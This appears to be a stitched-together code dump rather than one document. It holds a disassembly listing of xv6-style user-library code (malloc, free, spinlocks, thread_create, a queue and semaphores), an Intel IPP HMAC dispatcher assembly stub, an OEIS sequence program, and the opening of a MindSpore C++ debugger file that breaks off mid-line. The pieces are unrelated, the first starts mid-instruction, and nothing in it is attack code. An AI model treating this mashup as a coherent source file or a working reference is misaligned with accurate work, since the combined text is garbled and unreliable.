%al,%eax 66b: 89 44 24 04 mov %eax,0x4(%esp) 66f: 8b 45 08 mov 0x8(%ebp),%eax 672: 89 04 24 mov %eax,(%esp) 675: e8 92 fd ff ff call 40c <putc> } state = 0; 67a: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 681: 83 45 ec 01 addl $0x1,-0x14(%ebp) 685: 8b 55 0c mov 0xc(%ebp),%edx 688: 8b 45 ec mov -0x14(%ebp),%eax 68b: 8d 04 02 lea (%edx,%eax,1),%eax 68e: 0f b6 00 movzbl (%eax),%eax 691: 84 c0 test %al,%al 693: 0f 85 6e fe ff ff jne 507 <printf+0x22> putc(fd, c); } state = 0; } } } 699: c9 leave 69a: c3 ret 69b: 90 nop 0000069c <free>: static Header base; static Header *freep; void free(void *ap) { 69c: 55 push %ebp 69d: 89 e5 mov %esp,%ebp 69f: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 6a2: 8b 45 08 mov 0x8(%ebp),%eax 6a5: 83 e8 08 sub $0x8,%eax 6a8: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6ab: a1 c4 0c 00 00 mov 0xcc4,%eax 6b0: 89 45 fc mov %eax,-0x4(%ebp) 6b3: eb 24 jmp 6d9 <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6b5: 8b 45 fc mov -0x4(%ebp),%eax 6b8: 8b 00 mov (%eax),%eax 6ba: 3b 45 fc cmp -0x4(%ebp),%eax 6bd: 77 12 ja 6d1 <free+0x35> 6bf: 8b 45 f8 mov -0x8(%ebp),%eax 6c2: 3b 45 fc cmp -0x4(%ebp),%eax 6c5: 77 24 ja 6eb <free+0x4f> 6c7: 8b 45 fc mov -0x4(%ebp),%eax 6ca: 8b 00 mov (%eax),%eax 6cc: 3b 45 f8 cmp -0x8(%ebp),%eax 6cf: 77 1a ja 6eb <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6d1: 8b 45 fc mov -0x4(%ebp),%eax 6d4: 8b 00 mov (%eax),%eax 6d6: 89 45 fc mov %eax,-0x4(%ebp) 6d9: 8b 45 f8 mov -0x8(%ebp),%eax 6dc: 3b 45 fc cmp -0x4(%ebp),%eax 6df: 76 d4 jbe 6b5 <free+0x19> 6e1: 8b 45 fc mov -0x4(%ebp),%eax 6e4: 8b 00 mov (%eax),%eax 6e6: 3b 45 f8 cmp -0x8(%ebp),%eax 6e9: 76 ca jbe 6b5 <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 6eb: 8b 45 f8 mov -0x8(%ebp),%eax 6ee: 8b 40 04 mov 0x4(%eax),%eax 6f1: c1 e0 03 shl $0x3,%eax 6f4: 89 c2 mov %eax,%edx 6f6: 03 55 f8 add -0x8(%ebp),%edx 6f9: 8b 45 fc mov -0x4(%ebp),%eax 6fc: 8b 00 mov (%eax),%eax 6fe: 39 c2 cmp %eax,%edx 700: 75 24 jne 726 <free+0x8a> bp->s.size += p->s.ptr->s.size; 702: 8b 45 f8 mov -0x8(%ebp),%eax 705: 8b 50 04 mov 0x4(%eax),%edx 708: 8b 45 fc mov -0x4(%ebp),%eax 70b: 8b 00 mov (%eax),%eax 70d: 8b 40 04 mov 0x4(%eax),%eax 710: 01 c2 add %eax,%edx 712: 8b 45 f8 mov -0x8(%ebp),%eax 715: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 718: 8b 45 fc mov -0x4(%ebp),%eax 71b: 8b 00 mov (%eax),%eax 71d: 8b 10 mov (%eax),%edx 71f: 8b 45 f8 mov -0x8(%ebp),%eax 722: 89 10 mov %edx,(%eax) 724: eb 0a jmp 730 <free+0x94> } else bp->s.ptr = p->s.ptr; 726: 8b 45 fc mov -0x4(%ebp),%eax 729: 8b 10 mov (%eax),%edx 72b: 8b 45 f8 mov -0x8(%ebp),%eax 72e: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 730: 8b 45 fc mov -0x4(%ebp),%eax 733: 8b 40 04 mov 0x4(%eax),%eax 736: c1 e0 03 shl $0x3,%eax 739: 03 45 fc add -0x4(%ebp),%eax 73c: 3b 45 f8 cmp -0x8(%ebp),%eax 73f: 75 20 jne 761 <free+0xc5> p->s.size += bp->s.size; 741: 8b 45 fc mov -0x4(%ebp),%eax 744: 8b 50 04 mov 0x4(%eax),%edx 747: 8b 45 f8 mov -0x8(%ebp),%eax 74a: 8b 40 04 mov 0x4(%eax),%eax 74d: 01 c2 add %eax,%edx 74f: 8b 45 fc mov -0x4(%ebp),%eax 752: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 755: 8b 45 f8 mov -0x8(%ebp),%eax 758: 8b 10 mov (%eax),%edx 75a: 8b 45 fc mov -0x4(%ebp),%eax 75d: 89 10 mov %edx,(%eax) 75f: eb 08 jmp 769 <free+0xcd> } else p->s.ptr = bp; 761: 8b 45 fc mov -0x4(%ebp),%eax 764: 8b 55 f8 mov -0x8(%ebp),%edx 767: 89 10 mov %edx,(%eax) freep = p; 769: 8b 45 fc mov -0x4(%ebp),%eax 76c: a3 c4 0c 00 00 mov %eax,0xcc4 } 771: c9 leave 772: c3 ret 00000773 <morecore>: static Header* morecore(uint nu) { 773: 55 push %ebp 774: 89 e5 mov %esp,%ebp 776: 83 ec 28 sub $0x28,%esp char *p; Header *hp; if(nu < 4096) 779: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 780: 77 07 ja 789 <morecore+0x16> nu = 4096; 782: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 789: 8b 45 08 mov 0x8(%ebp),%eax 78c: c1 e0 03 shl $0x3,%eax 78f: 89 04 24 mov %eax,(%esp) 792: e8 35 fc ff ff call 3cc <sbrk> 797: 89 45 f0 mov %eax,-0x10(%ebp) if(p == (char*)-1) 79a: 83 7d f0 ff cmpl $0xffffffff,-0x10(%ebp) 79e: 75 07 jne 7a7 <morecore+0x34> return 0; 7a0: b8 00 00 00 00 mov $0x0,%eax 7a5: eb 22 jmp 7c9 <morecore+0x56> hp = (Header*)p; 7a7: 8b 45 f0 mov -0x10(%ebp),%eax 7aa: 89 45 f4 mov %eax,-0xc(%ebp) hp->s.size = nu; 7ad: 8b 45 f4 mov -0xc(%ebp),%eax 7b0: 8b 55 08 mov 0x8(%ebp),%edx 7b3: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 7b6: 8b 45 f4 mov -0xc(%ebp),%eax 7b9: 83 c0 08 add $0x8,%eax 7bc: 89 04 24 mov %eax,(%esp) 7bf: e8 d8 fe ff ff call 69c <free> return freep; 7c4: a1 c4 0c 00 00 mov 0xcc4,%eax } 7c9: c9 leave 7ca: c3 ret 000007cb <malloc>: void* malloc(uint nbytes) { 7cb: 55 push %ebp 7cc: 89 e5 mov %esp,%ebp 7ce: 83 ec 28 sub $0x28,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 7d1: 8b 45 08 mov 0x8(%ebp),%eax 7d4: 83 c0 07 add $0x7,%eax 7d7: c1 e8 03 shr $0x3,%eax 7da: 83 c0 01 add $0x1,%eax 7dd: 89 45 f4 mov %eax,-0xc(%ebp) if((prevp = freep) == 0){ 7e0: a1 c4 0c 00 00 mov 0xcc4,%eax 7e5: 89 45 f0 mov %eax,-0x10(%ebp) 7e8: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 7ec: 75 23 jne 811 <malloc+0x46> base.s.ptr = freep = prevp = &base; 7ee: c7 45 f0 bc 0c 00 00 movl $0xcbc,-0x10(%ebp) 7f5: 8b 45 f0 mov -0x10(%ebp),%eax 7f8: a3 c4 0c 00 00 mov %eax,0xcc4 7fd: a1 c4 0c 00 00 mov 0xcc4,%eax 802: a3 bc 0c 00 00 mov %eax,0xcbc base.s.size = 0; 807: c7 05 c0 0c 00 00 00 movl $0x0,0xcc0 80e: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 811: 8b 45 f0 mov -0x10(%ebp),%eax 814: 8b 00 mov (%eax),%eax 816: 89 45 ec mov %eax,-0x14(%ebp) if(p->s.size >= nunits){ 819: 8b 45 ec mov -0x14(%ebp),%eax 81c: 8b 40 04 mov 0x4(%eax),%eax 81f: 3b 45 f4 cmp -0xc(%ebp),%eax 822: 72 4d jb 871 <malloc+0xa6> if(p->s.size == nunits) 824: 8b 45 ec mov -0x14(%ebp),%eax 827: 8b 40 04 mov 0x4(%eax),%eax 82a: 3b 45 f4 cmp -0xc(%ebp),%eax 82d: 75 0c jne 83b <malloc+0x70> prevp->s.ptr = p->s.ptr; 82f: 8b 45 ec mov -0x14(%ebp),%eax 832: 8b 10 mov (%eax),%edx 834: 8b 45 f0 mov -0x10(%ebp),%eax 837: 89 10 mov %edx,(%eax) 839: eb 26 jmp 861 <malloc+0x96> else { p->s.size -= nunits; 83b: 8b 45 ec mov -0x14(%ebp),%eax 83e: 8b 40 04 mov 0x4(%eax),%eax 841: 89 c2 mov %eax,%edx 843: 2b 55 f4 sub -0xc(%ebp),%edx 846: 8b 45 ec mov -0x14(%ebp),%eax 849: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 84c: 8b 45 ec mov -0x14(%ebp),%eax 84f: 8b 40 04 mov 0x4(%eax),%eax 852: c1 e0 03 shl $0x3,%eax 855: 01 45 ec add %eax,-0x14(%ebp) p->s.size = nunits; 858: 8b 45 ec mov -0x14(%ebp),%eax 85b: 8b 55 f4 mov -0xc(%ebp),%edx 85e: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 861: 8b 45 f0 mov -0x10(%ebp),%eax 864: a3 c4 0c 00 00 mov %eax,0xcc4 return (void*)(p + 1); 869: 8b 45 ec mov -0x14(%ebp),%eax 86c: 83 c0 08 add $0x8,%eax 86f: eb 38 jmp 8a9 <malloc+0xde> } if(p == freep) 871: a1 c4 0c 00 00 mov 0xcc4,%eax 876: 39 45 ec cmp %eax,-0x14(%ebp) 879: 75 1b jne 896 <malloc+0xcb> if((p = morecore(nunits)) == 0) 87b: 8b 45 f4 mov -0xc(%ebp),%eax 87e: 89 04 24 mov %eax,(%esp) 881: e8 ed fe ff ff call 773 <morecore> 886: 89 45 ec mov %eax,-0x14(%ebp) 889: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 88d: 75 07 jne 896 <malloc+0xcb> return 0; 88f: b8 00 00 00 00 mov $0x0,%eax 894: eb 13 jmp 8a9 <malloc+0xde> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 896: 8b 45 ec mov -0x14(%ebp),%eax 899: 89 45 f0 mov %eax,-0x10(%ebp) 89c: 8b 45 ec mov -0x14(%ebp),%eax 89f: 8b 00 mov (%eax),%eax 8a1: 89 45 ec mov %eax,-0x14(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 8a4: e9 70 ff ff ff jmp 819 <malloc+0x4e> } 8a9: c9 leave 8aa: c3 ret 8ab: 90 nop 000008ac <xchg>: asm volatile("sti"); } static inline uint xchg(volatile uint *addr, uint newval) { 8ac: 55 push %ebp 8ad: 89 e5 mov %esp,%ebp 8af: 83 ec 10 sub $0x10,%esp uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 8b2: 8b 55 08 mov 0x8(%ebp),%edx 8b5: 8b 45 0c mov 0xc(%ebp),%eax 8b8: 8b 4d 08 mov 0x8(%ebp),%ecx 8bb: f0 87 02 lock xchg %eax,(%edx) 8be: 89 45 fc mov %eax,-0x4(%ebp) "+m" (*addr), "=a" (result) : "1" (newval) : "cc"); return result; 8c1: 8b 45 fc mov -0x4(%ebp),%eax } 8c4: c9 leave 8c5: c3 ret 000008c6 <lock_init>: #include "x86.h" #include "proc.h" void lock_init(lock_t *lock){ 8c6: 55 push %ebp 8c7: 89 e5 mov %esp,%ebp lock->locked = 0; 8c9: 8b 45 08 mov 0x8(%ebp),%eax 8cc: c7 00 00 00 00 00 movl $0x0,(%eax) } 8d2: 5d pop %ebp 8d3: c3 ret 000008d4 <lock_acquire>: void lock_acquire(lock_t *lock){ 8d4: 55 push %ebp 8d5: 89 e5 mov %esp,%ebp 8d7: 83 ec 08 sub $0x8,%esp while(xchg(&lock->locked,1) != 0); 8da: 8b 45 08 mov 0x8(%ebp),%eax 8dd: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 8e4: 00 8e5: 89 04 24 mov %eax,(%esp) 8e8: e8 bf ff ff ff call 8ac <xchg> 8ed: 85 c0 test %eax,%eax 8ef: 75 e9 jne 8da <lock_acquire+0x6> } 8f1: c9 leave 8f2: c3 ret 000008f3 <lock_release>: void lock_release(lock_t *lock){ 8f3: 55 push %ebp 8f4: 89 e5 mov %esp,%ebp 8f6: 83 ec 08 sub $0x8,%esp xchg(&lock->locked,0); 8f9: 8b 45 08 mov 0x8(%ebp),%eax 8fc: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 903: 00 904: 89 04 24 mov %eax,(%esp) 907: e8 a0 ff ff ff call 8ac <xchg> } 90c: c9 leave 90d: c3 ret 0000090e <thread_create>: void *thread_create(void(*start_routine)(void*), void *arg){ 90e: 55 push %ebp 90f: 89 e5 mov %esp,%ebp 911: 83 ec 28 sub $0x28,%esp int tid; void * stack = malloc(2 * 4096); 914: c7 04 24 00 20 00 00 movl $0x2000,(%esp) 91b: e8 ab fe ff ff call 7cb <malloc> 920: 89 45 f0 mov %eax,-0x10(%ebp) void *garbage_stack = stack; 923: 8b 45 f0 mov -0x10(%ebp),%eax 926: 89 45 f4 mov %eax,-0xc(%ebp) // printf(1,"start routine addr : %d\n",(uint)start_routine); if((uint)stack % 4096){ 929: 8b 45 f0 mov -0x10(%ebp),%eax 92c: 25 ff 0f 00 00 and $0xfff,%eax 931: 85 c0 test %eax,%eax 933: 74 15 je 94a <thread_create+0x3c> stack = stack + (4096 - (uint)stack % 4096); 935: 8b 45 f0 mov -0x10(%ebp),%eax 938: 89 c2 mov %eax,%edx 93a: 81 e2 ff 0f 00 00 and $0xfff,%edx 940: b8 00 10 00 00 mov $0x1000,%eax 945: 29 d0 sub %edx,%eax 947: 01 45 f0 add %eax,-0x10(%ebp) } if (stack == 0){ 94a: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 94e: 75 1b jne 96b <thread_create+0x5d> printf(1,"malloc fail \n"); 950: c7 44 24 04 60 0c 00 movl $0xc60,0x4(%esp) 957: 00 958: c7 04 24 01 00 00 00 movl $0x1,(%esp) 95f: e8 81 fb ff ff call 4e5 <printf> return 0; 964: b8 00 00 00 00 mov $0x0,%eax 969: eb 6f jmp 9da <thread_create+0xcc> } tid = clone((uint)stack,PSIZE,(uint)start_routine,(int)arg); 96b: 8b 4d 0c mov 0xc(%ebp),%ecx 96e: 8b 55 08 mov 0x8(%ebp),%edx 971: 8b 45 f0 mov -0x10(%ebp),%eax 974: 89 4c 24 0c mov %ecx,0xc(%esp) 978: 89 54 24 08 mov %edx,0x8(%esp) 97c: c7 44 24 04 00 10 00 movl $0x1000,0x4(%esp) 983: 00 984: 89 04 24 mov %eax,(%esp) 987: e8 58 fa ff ff call 3e4 <clone> 98c: 89 45 ec mov %eax,-0x14(%ebp) if(tid < 0){ 98f: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 993: 79 1b jns 9b0 <thread_create+0xa2> printf(1,"clone fails\n"); 995: c7 44 24 04 6e 0c 00 movl $0xc6e,0x4(%esp) 99c: 00 99d: c7 04 24 01 00 00 00 movl $0x1,(%esp) 9a4: e8 3c fb ff ff call 4e5 <printf> return 0; 9a9: b8 00 00 00 00 mov $0x0,%eax 9ae: eb 2a jmp 9da <thread_create+0xcc> } if(tid > 0){ 9b0: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 9b4: 7e 05 jle 9bb <thread_create+0xad> //store threads on thread table return garbage_stack; 9b6: 8b 45 f4 mov -0xc(%ebp),%eax 9b9: eb 1f jmp 9da <thread_create+0xcc> } if(tid == 0){ 9bb: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 9bf: 75 14 jne 9d5 <thread_create+0xc7> printf(1,"tid = 0 return \n"); 9c1: c7 44 24 04 7b 0c 00 movl $0xc7b,0x4(%esp) 9c8: 00 9c9: c7 04 24 01 00 00 00 movl $0x1,(%esp) 9d0: e8 10 fb ff ff call 4e5 <printf> } // wait(); // free(garbage_stack); return 0; 9d5: b8 00 00 00 00 mov $0x0,%eax } 9da: c9 leave 9db: c3 ret 000009dc <init_q>: #include "queue.h" #include "types.h" #include "user.h" void init_q(struct queue *q){ 9dc: 55 push %ebp 9dd: 89 e5 mov %esp,%ebp q->size = 0; 9df: 8b 45 08 mov 0x8(%ebp),%eax 9e2: c7 00 00 00 00 00 movl $0x0,(%eax) q->head = 0; 9e8: 8b 45 08 mov 0x8(%ebp),%eax 9eb: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) q->tail = 0; 9f2: 8b 45 08 mov 0x8(%ebp),%eax 9f5: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } 9fc: 5d pop %ebp 9fd: c3 ret 000009fe <add_q>: void add_q(struct queue *q, int v){ 9fe: 55 push %ebp 9ff: 89 e5 mov %esp,%ebp a01: 83 ec 28 sub $0x28,%esp //printf(1, "here \n"); struct node * n = malloc(sizeof(struct node)); a04: c7 04 24 08 00 00 00 movl $0x8,(%esp) a0b: e8 bb fd ff ff call 7cb <malloc> a10: 89 45 f4 mov %eax,-0xc(%ebp) n->next = 0; a13: 8b 45 f4 mov -0xc(%ebp),%eax a16: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) n->value = v; a1d: 8b 45 f4 mov -0xc(%ebp),%eax a20: 8b 55 0c mov 0xc(%ebp),%edx a23: 89 10 mov %edx,(%eax) if(q->head == 0){ a25: 8b 45 08 mov 0x8(%ebp),%eax a28: 8b 40 04 mov 0x4(%eax),%eax a2b: 85 c0 test %eax,%eax a2d: 75 0b jne a3a <add_q+0x3c> q->head = n; a2f: 8b 45 08 mov 0x8(%ebp),%eax a32: 8b 55 f4 mov -0xc(%ebp),%edx a35: 89 50 04 mov %edx,0x4(%eax) a38: eb 0c jmp a46 <add_q+0x48> }else{ q->tail->next = n; a3a: 8b 45 08 mov 0x8(%ebp),%eax a3d: 8b 40 08 mov 0x8(%eax),%eax a40: 8b 55 f4 mov -0xc(%ebp),%edx a43: 89 50 04 mov %edx,0x4(%eax) } q->tail = n; a46: 8b 45 08 mov 0x8(%ebp),%eax a49: 8b 55 f4 mov -0xc(%ebp),%edx a4c: 89 50 08 mov %edx,0x8(%eax) q->size++; a4f: 8b 45 08 mov 0x8(%ebp),%eax a52: 8b 00 mov (%eax),%eax a54: 8d 50 01 lea 0x1(%eax),%edx a57: 8b 45 08 mov 0x8(%ebp),%eax a5a: 89 10 mov %edx,(%eax) } a5c: c9 leave a5d: c3 ret 00000a5e <empty_q>: int empty_q(struct queue *q){ a5e: 55 push %ebp a5f: 89 e5 mov %esp,%ebp if(q->size == 0) a61: 8b 45 08 mov 0x8(%ebp),%eax a64: 8b 00 mov (%eax),%eax a66: 85 c0 test %eax,%eax a68: 75 07 jne a71 <empty_q+0x13> return 1; a6a: b8 01 00 00 00 mov $0x1,%eax a6f: eb 05 jmp a76 <empty_q+0x18> else return 0; a71: b8 00 00 00 00 mov $0x0,%eax } a76: 5d pop %ebp a77: c3 ret 00000a78 <pop_q>: int pop_q(struct queue *q){ a78: 55 push %ebp a79: 89 e5 mov %esp,%ebp a7b: 83 ec 28 sub $0x28,%esp int val; struct node *destroy; if(!empty_q(q)){ a7e: 8b 45 08 mov 0x8(%ebp),%eax a81: 89 04 24 mov %eax,(%esp) a84: e8 d5 ff ff ff call a5e <empty_q> a89: 85 c0 test %eax,%eax a8b: 75 5d jne aea <pop_q+0x72> val = q->head->value; a8d: 8b 45 08 mov 0x8(%ebp),%eax a90: 8b 40 04 mov 0x4(%eax),%eax a93: 8b 00 mov (%eax),%eax a95: 89 45 f0 mov %eax,-0x10(%ebp) destroy = q->head; a98: 8b 45 08 mov 0x8(%ebp),%eax a9b: 8b 40 04 mov 0x4(%eax),%eax a9e: 89 45 f4 mov %eax,-0xc(%ebp) q->head = q->head->next; aa1: 8b 45 08 mov 0x8(%ebp),%eax aa4: 8b 40 04 mov 0x4(%eax),%eax aa7: 8b 50 04 mov 0x4(%eax),%edx aaa: 8b 45 08 mov 0x8(%ebp),%eax aad: 89 50 04 mov %edx,0x4(%eax) free(destroy); ab0: 8b 45 f4 mov -0xc(%ebp),%eax ab3: 89 04 24 mov %eax,(%esp) ab6: e8 e1 fb ff ff call 69c <free> q->size--; abb: 8b 45 08 mov 0x8(%ebp),%eax abe: 8b 00 mov (%eax),%eax ac0: 8d 50 ff lea -0x1(%eax),%edx ac3: 8b 45 08 mov 0x8(%ebp),%eax ac6: 89 10 mov %edx,(%eax) if(q->size == 0){ ac8: 8b 45 08 mov 0x8(%ebp),%eax acb: 8b 00 mov (%eax),%eax acd: 85 c0 test %eax,%eax acf: 75 14 jne ae5 <pop_q+0x6d> q->head = 0; ad1: 8b 45 08 mov 0x8(%ebp),%eax ad4: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) q->tail = 0; adb: 8b 45 08 mov 0x8(%ebp),%eax ade: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } return val; ae5: 8b 45 f0 mov -0x10(%ebp),%eax ae8: eb 05 jmp aef <pop_q+0x77> } return -1; aea: b8 ff ff ff ff mov $0xffffffff,%eax } aef: c9 leave af0: c3 ret af1: 90 nop af2: 90 nop af3: 90 nop 00000af4 <init_semaphore>: #include "semaphore.h" #include "user.h" //lab 2 //Semaphore void init_semaphore(struct Semaphore *s, int count_num) { af4: 55 push %ebp af5: 89 e5 mov %esp,%ebp af7: 83 ec 18 sub $0x18,%esp s->count = count_num; afa: 8b 45 08 mov 0x8(%ebp),%eax afd: 8b 55 0c mov 0xc(%ebp),%edx b00: 89 10 mov %edx,(%eax) init_q(&s->threads); b02: 8b 45 08 mov 0x8(%ebp),%eax b05: 83 c0 04 add $0x4,%eax b08: 89 04 24 mov %eax,(%esp) b0b: e8 cc fe ff ff call 9dc <init_q> lock_init(&s->lock); b10: 8b 45 08 mov 0x8(%ebp),%eax b13: 83 c0 10 add $0x10,%eax b16: 89 04 24 mov %eax,(%esp) b19: e8 a8 fd ff ff call 8c6 <lock_init> } b1e: c9 leave b1f: c3 ret 00000b20 <sem_acquire>: void sem_acquire(struct Semaphore *s) { b20: 55 push %ebp b21: 89 e5 mov %esp,%ebp b23: 83 ec 18 sub $0x18,%esp while(1) { if (s->count > 0) { //if there are available resources b26: 8b 45 08 mov 0x8(%ebp),%eax b29: 8b 00 mov (%eax),%eax b2b: 85 c0 test %eax,%eax b2d: 7e 2c jle b5b <sem_acquire+0x3b> //printf(1, "COUNT IS = %d\n", s->count); //printf(1, "acquiring lock\n"); lock_acquire(&s->lock); //acquire count lock b2f: 8b 45 08 mov 0x8(%ebp),%eax b32: 83 c0 10 add $0x10,%eax b35: 89 04 24 mov %eax,(%esp) b38: e8 97 fd ff ff call 8d4 <lock_acquire> //printf(1, "acquired lock\n"); s->count = s->count - 1; //decrement resource by one b3d: 8b 45 08 mov 0x8(%ebp),%eax b40: 8b 00 mov (%eax),%eax b42: 8d 50 ff lea -0x1(%eax),%edx b45: 8b 45 08 mov 0x8(%ebp),%eax b48: 89 10 mov %edx,(%eax) //printf(1, "DECREMENT! COUNT IS = %d\n", s->count); lock_release(&s->lock); //release count lock b4a: 8b 45 08 mov 0x8(%ebp),%eax b4d: 83 c0 10 add $0x10,%eax b50: 89 04 24 mov %eax,(%esp) b53: e8 9b fd ff ff call 8f3 <lock_release> break; b58: 90 nop add_q(&s->threads, getpid()); //add thread to sleep queueu //printf(1, "asleep \n"); tsleep(); } } } b59: c9 leave b5a: c3 ret //printf(1, "DECREMENT! COUNT IS = %d\n", s->count); lock_release(&s->lock); //release count lock break; } else { //if there are no available resources printf(1, "Waiting for semaphore\n"); b5b: c7 44 24 04 8c 0c 00 movl $0xc8c,0x4(%esp) b62: 00 b63: c7 04 24 01 00 00 00 movl $0x1,(%esp) b6a: e8 76 f9 ff ff call 4e5 <printf> //printf(1, "%d", getpid()); add_q(&s->threads, getpid()); //add thread to sleep queueu b6f: e8 50 f8 ff ff call 3c4 <getpid> b74: 8b 55 08 mov 0x8(%ebp),%edx b77: 83 c2 04 add $0x4,%edx b7a: 89 44 24 04 mov %eax,0x4(%esp) b7e: 89 14 24 mov %edx,(%esp) b81: e8 78 fe ff ff call 9fe <add_q> //printf(1, "asleep \n"); tsleep(); b86: e8 69 f8 ff ff call 3f4 <tsleep> } } b8b: eb 99 jmp b26 <sem_acquire+0x6> 00000b8d <sem_signal>: } void sem_signal(struct Semaphore *s) { b8d: 55 push %ebp b8e: 89 e5 mov %esp,%ebp b90: 83 ec 18 sub $0x18,%esp lock_acquire(&s->lock); b93: 8b 45 08 mov 0x8(%ebp),%eax b96: 83 c0 10 add $0x10,%eax b99: 89 04 24 mov %eax,(%esp) b9c: e8 33 fd ff ff call 8d4 <lock_acquire> s->count++; ba1: 8b 45 08 mov 0x8(%ebp),%eax ba4: 8b 00 mov (%eax),%eax ba6: 8d 50 01 lea 0x1(%eax),%edx ba9: 8b 45 08 mov 0x8(%ebp),%eax bac: 89 10 mov %edx,(%eax) lock_release(&s->lock); bae: 8b 45 08 mov 0x8(%ebp),%eax bb1: 83 c0 10 add $0x10,%eax bb4: 89 04 24 mov %eax,(%esp) bb7: e8 37 fd ff ff call 8f3 <lock_release> if (!empty_q(&s->threads)) { bbc: 8b 45 08 mov 0x8(%ebp),%eax bbf: 83 c0 04 add $0x4,%eax bc2: 89 04 24 mov %eax,(%esp) bc5: e8 94 fe ff ff call a5e <empty_q> bca: 85 c0 test %eax,%eax bcc: 75 16 jne be4 <sem_signal+0x57> twakeup(pop_q(&s->threads)); //remove thread from queue and wake up bce: 8b 45 08 mov 0x8(%ebp),%eax bd1: 83 c0 04 add $0x4,%eax bd4: 89 04 24 mov %eax,(%esp) bd7: e8 9c fe ff ff call a78 <pop_q> bdc: 89 04 24 mov %eax,(%esp) bdf: e8 18 f8 ff ff call 3fc <twakeup> } } be4: c9 leave be5: c3 ret
extern m7_ippsHMACGetSize_rmf:function extern n8_ippsHMACGetSize_rmf:function extern y8_ippsHMACGetSize_rmf:function extern e9_ippsHMACGetSize_rmf:function extern l9_ippsHMACGetSize_rmf:function extern n0_ippsHMACGetSize_rmf:function extern k0_ippsHMACGetSize_rmf:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsHMACGetSize_rmf .Larraddr_ippsHMACGetSize_rmf: dq m7_ippsHMACGetSize_rmf dq n8_ippsHMACGetSize_rmf dq y8_ippsHMACGetSize_rmf dq e9_ippsHMACGetSize_rmf dq l9_ippsHMACGetSize_rmf dq n0_ippsHMACGetSize_rmf dq k0_ippsHMACGetSize_rmf segment .text global ippsHMACGetSize_rmf:function (ippsHMACGetSize_rmf.LEndippsHMACGetSize_rmf - ippsHMACGetSize_rmf) .Lin_ippsHMACGetSize_rmf: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsHMACGetSize_rmf: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsHMACGetSize_rmf] mov r11, qword [r11+rax*8] jmp r11 .LEndippsHMACGetSize_rmf:
; A131579: Period 10: repeat 0, 3, 6, 9, 2, 5, 8, 1, 4, 7. ; 0,3,6,9,2,5,8,1,4,7,0,3,6,9,2,5,8,1,4,7,0,3,6,9,2,5,8,1,4,7,0,3,6,9,2,5,8,1,4,7,0,3,6,9,2,5,8,1,4,7,0,3,6,9,2,5,8,1,4,7,0,3,6,9,2,5,8,1,4,7,0,3,6,9,2,5,8,1,4,7,0,3,6,9,2,5,8,1,4,7,0,3,6,9,2,5,8,1,4,7 mul $0,3 mod $0,10
/** * Copyright 2020 Huawei Technologies Co., Ltd * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "debug/debugger/proto_exporter.h" #include <fstream> #include <map> #include <memory> #include <unordered_map> #include <unordered_set> #include <utility> #include <algorithm> #include "debug/anf_ir_utils.h" #include "debug/common.h" #include "debug/debugger/debugger.h" #include "debug/data_dump/dump_json_parser.h" #include "proto/debug_graph.pb.h" #include "ir/graph_utils.h" #include "utils/symbolic.h" #include "utils/trace_base.h" namespace mindspore { using TypeInfoToProtoTypeMap = std::vector<std::pair<const char *, debugger::DataType>>; void SetOutputType(const TypePtr &node, const BaseShapePtr &shape, debugger::TypeProto *type_proto); void CheckIfValidType(const TypePtr &type, debugger::TypeProto *const type_proto) { if (!(type->isa<Number>() || type->isa<TensorType>() || 